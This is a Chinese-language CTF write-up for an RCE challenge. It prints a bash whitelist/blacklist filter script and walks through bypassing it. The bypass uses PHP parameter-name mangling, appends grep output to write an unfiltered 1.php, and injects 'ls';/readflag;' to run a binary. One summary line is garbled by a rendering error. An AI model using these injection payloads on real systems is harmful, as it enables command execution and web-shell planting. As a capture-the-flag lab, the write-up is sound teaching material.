zako
题目描述:很简单的rce哦
启动环境,源码直接给了。
execute.sh
sh
#!/bin/bash
reject(){
echo ${1}
exit 1
}
XXXCMD=$1
awk -v str="${XXXCMD}" \
'BEGIN{
deny="`;&$(){}[]!@#$%^&*-";
for(i = 1; i <= length(str); i++){
char = substr(str, i, 1);
for(x = 1; x < length(deny)+1; x++){
r = substr(deny, x, 1);
if(char == r) exit 1;
}
}
}'
[ $? -ne 0 ] && reject "NOT ALLOW 1"
eval_cmd=`echo "${XXXCMD}" | awk -F "|" \
'BEGIN{
allows[1] = "ls";
allows[2] = "makabaka";
allows[3] = "whoareu";
allows[4] = "cut~no";
allows[5] = "grep";
allows[6] = "wc";
allows[7] = "鏉傞奔鉂鏉傞奔鉂";
allows[8] = "netstat.jpg";
allows[9] = "awsl";
allows[10] = "dmesg";
allows[11] = "xswl";
}{
num=1;
for(i=1; i<=NF; i++){
for(x=1; x<=length(allows); x++){
cmpstr = substr($i, 1, length(allows[x]));
if(cmpstr == allows[x])
eval_cmd[num++] = $i;
}
}
}END{
for(i=1; i<=length(eval_cmd); i++) {
if(i!=1)
printf "| %s", eval_cmd[i];
else
printf "%s", eval_cmd[i];
}
}'`
[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"
eval ${eval_cmd}
逐行解释:
#!/bin/bash
:这行指定了脚本执行时使用的解释器,即 Bash。- 定义了一个名为
reject
的函数,它接受一个参数并将其打印出来,然后通过exit 1
终止脚本执行,返回状态 1 表示出现了错误。 XXXCMD=$1
:这行将脚本的第一个参数赋值给变量XXXCMD
,这个参数预期是用户想要执行的命令。- 使用
awk
工具和-v
选项来检查XXXCMD
变量中是否包含任何不允许的字符。这些字符包括了大多数会对 Shell 脚本产生特殊意义的符号,如反引号、分号、管道符、括号等。如果发现这些字符中的任何一个,awk
会通过exit 1
退出并返回状态 1。 [ $? -ne 0 ] && reject "NOT ALLOW 1"
:这行检查上一个命令(awk
)的退出状态。如果awk
发现了不允许的字符并退出,其返回状态不会是 0,这会触发reject
函数的调用,打印 "NOT ALLOW 1" 并终止脚本。- 接下来的
awk
命令通过-F "|"
设置字段分隔符为管道符号,然后检查XXXCMD
是否只包含被明确允许的命令。这些允许的命令被列在allows
数组中。awk
脚本将检查XXXCMD
中的每个命令是否完全匹配这些允许的命令之一。 [ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"
:这行检查是否有命令被输入。如果XXXCMD
是空的,即没有命令被输入,它会调用reject
函数打印 "NOT ALLOW 2" 并终止脚本。- 最后,脚本使用
eval
命令执行经过过滤的命令。eval_cmd
变量包含了通过前面的过滤过程允许执行的命令。使用eval
可以执行字符串中的命令,这里的字符串是通过前面的awk
命令处理得到的。
总结一下,这个脚本有黑名单``;&KaTeX parse error: Expected 'EOF', got '#' at position 9: (){}[]!@#̲%^&*-和白名单。传入的命令是(或者说包含字符串)
ls、
grep、
wc、
dmesg`。则可以把传入的字符串当作命令执行。
疑点如下:
1、猜测外部也有过滤(之后尝试确实如此
2、长度限制(做完发现是障眼法
先看看文件结构:
解决疑点1,我们先获取index.php
的真实内容。
/?.[secret.xswl.io=grep "" ?ndex.php
分析:
1、根目录有readflag
文件(可执行文件),之后肯定是运行readflag来获取flag,而不是直接读取flag文件(无权限)
2、过滤(黑名单)两处,一处外部在index.php
,一处内部在execute.sh
。
3、同时execute.sh
内还有命令执行白名单。相比之下,暂且先认为我们最后的readflag不可在execute.sh
文件内执行。所以我们要尝试闭合单引号,在execute.sh
文件外部执行命令。
4、我们应该花更多心思去尝试如何直接在php文件里面执行命令,同时突破命令分隔符限制,分隔命令执行radflag。
5、在闭合单引号前,我们可用的命令只有ls
、grep
、wc
、dmesg
。这里注意grep
,这个命令返回的是字符串。
看着初始的源码
要是没有waf过滤就好了。梦中源码:
php
<?php
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));
$cmd = $_REQUEST["__secret.xswl.io"];
system("./execute.sh '".$cmd."'");
?>
梦想成真只需grep命令执行结果重定向写入文件!
payload:
?.[secret.xswl.io=grep "<?php" ?ndex.php >> 1.php
?.[secret.xswl.io=grep "highlight" ?ndex.php >> 1.php
?.[secret.xswl.io=grep "REQUEST" ?ndex.php >> 1.php
?.[secret.xswl.io=grep "system" ?ndex.php >> 1.php
最后执行命令读取flag:
/1.php?.[secret.xswl.io=ls';/readflag;'
一道有趣且非常灵活的题目。